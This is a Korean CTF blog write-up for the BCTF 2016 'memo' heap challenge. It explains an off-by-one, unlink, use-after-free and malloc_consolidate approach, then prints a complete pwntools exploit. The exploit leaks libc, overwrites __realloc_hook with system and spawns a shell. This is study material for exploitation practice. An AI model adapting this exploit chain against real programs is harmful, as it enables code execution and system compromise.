-
bctf 2016 memoPwnable/CTF 2017. 10. 2. 22:25
1번이 edit, tear에서 입력한것을 출력해준다.2번이 edit기능으로 ptr이라는 전역변수에 n(120)만큼 입력해준다.
3번이 ptr변수를 realloc 하고 n사이즈를 입력받고 n만큼 입력한다.
4번이 또 다른 전역변수 입력
5번이 또 다른 전역변수 입력
이 문제에서는 malloc대신에 realloc함수를 사용하고
full relro가 걸려있으니 got overwrite를 사용하지못하니 *_hook종류를 써야된다.
여기서 쓰여지는 hook은 realloc_hook뿐이다.
이 문제에서는 free함수가 없는데 이런 문제에서 쓰이는 기법은 2가지이다.
1. malloc_consolidate (문제풀때 까먹었었음 ㅠㅠ)
2. house of orange
1번은 hitcon sleeptyholder
2번은 hitcon house of orange
2번은 풀다 이해할것만하고 풀이를 너무 많이봐서 다시 풀어야봐야되는문제다.
간단하게 설명하자면
1번은 int_malloc부분에 large_bin를 malloc하고 have_fastchunks등 함수를 사용하여서 청크중에 fastbin이 있나보고 unsortedbin으로 바꾼다. 그 전에 unlink 조건이된다면 unlink를 해주는 기능이다.
2번은 top_chunk 사이즈가 ex)0x20f09 라고 치면 top_chunk 사이즈를 0xf09로 바꿔주고 0xf09보다 사이즈를 크게주고 현재 있는 chunk중에 malloc 할게 없다면 top_chunk 사이즈를 빼서 malloc를 하는데 이때 top_chunk 사이즈가 부족하다면 부족한 사이즈를 더 채우기위해서 현재 malloc 되어있는것을 free해준다.
2번째는 top_chunk 주소를 바꿔줘야되는데 어찌되었던 잘 못쓰니 패스 + off_by_one이있지만 쨋든 못함 .. ㅎ
그럼 답은 1번이다.
off_by_one은 이부분에 있다.
size를 1byte를 덮을수있게되는데 result = 0으로 바꿔주지만 그 위에 if문을 사용하면 내가 원하는 사이즈로? 바꿀 수 있다.
name부분을 이용하여서 size수정 및 fake_chunk를 해주고 edit로 chunk끼리 사이즈들을 맞추고 해야되기때문에 edit로도 fake_chunk를 만든다.그리고 name edit title 에서 edit를 free해주기위해 realloc를 해준다.
tear를 할때 next 청크가 top_chunk라면 malloc_consolidate가 정상적으로 작동하지 않는다.
그렇기 때문에 180 128 를 해주고 realloc를 해주면 uaf로 인해 180쪽으로 가게된다. 그렇게 되면 next chunk가 top_chunk가 아닌 128청크가 되기 때문에 malloc_consolidate가 정상적으로 된다.
tear(180,"BBBB") #unlink set free(0,<1>,2), tear(0x400) UAFtear(128,"bbbb") #next chunk top chunk bang getear(0x400,"")123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596from pwn import *p=process("./memo")elf=ELF("./memo")def show():print p.recv(1024)p.sendline("1")def edit(content):p.recvuntil('exit')p.sendline("2")p.recvuntil(':')p.sendline(content)def tear(page,content):p.recvuntil('exit')p.sendline("3")p.recvuntil(':')p.sendline(str(page))p.recvuntil(':')p.sendline(content)def change(name):print p.recvuntil('exit')p.sendline("4")print p.recvuntil(':')p.send(name)def change_title(title):p.recvuntil('exit')p.sendline("5")p.recvuntil(':')p.sendline(title)payload = p64(0)payload += p64(0x20)payload += p64(0x602028)payload += p64(0x602030)payload += p64(0x20)payload += "@"change(payload)payload = "B"*0x30payload += p64(0)payload += p64(0x41)edit(payload)change_title("C"*10)tear(180,"BBBB") #unlink set free(0,<1>,2), tear(0x400) UAFtear(128,"bbbb") #next chunk top chunk bang getear(0x400,"")payload = p64(0)payload += p64(0x602028)payload += p64(elf.got['realloc'])print p.recvuntil('exit')p.sendline("4")print p.recvuntil(':')p.sendline(payload)print "============="p.recv(1024)p.sendline("1")print p.recvuntil('On this page you write:\n')puts = u64(p.recv(6)+"\00\00")libc_base = puts - 0x846c0realloc_hook = libc_base + 0x3c4b08oneshot = libc_base + 0x4525dsystem = libc_base + 0x45390BinSh = libc_base + 0x18cd17print hex(puts)print hex(libc_base)print hex(realloc_hook)print hex(oneshot)change_title(p64(0)+p64(realloc_hook)+p64(0x602050)+p64(0x602028))change_title(p64(system)) #realloc_hook system setedit(p64(0)) #tear settingchange(p64(0)+p64(realloc_hook)+p64(BinSh)+p64(0x602028)) #realloc av pointer BinSH = tear == system(BinSh)p.sendline("dummy")p.recv(1024)p.sendline("3")p.recv(1024)p.sendline("256")p.interactive()cs 이상하게 원샷을 써서 -11에러가 나는것도 아닌데 처음보는 127오류가 나면서 쉘이 안 따지는 오류때문에 system함수를 썻다.
'Pwnable > CTF' 카테고리의 다른 글
Belluminar 2016 remuheap (0) 2017.10.19 31c3ctf 2014 mynx (1) 2017.10.09 hitcon 2014 stkof (0) 2017.09.04 크리스마스CTF 2016 house_of_daehee (0) 2017.08.28 크리스마스CTF 2016 who is solo? (0) 2017.08.27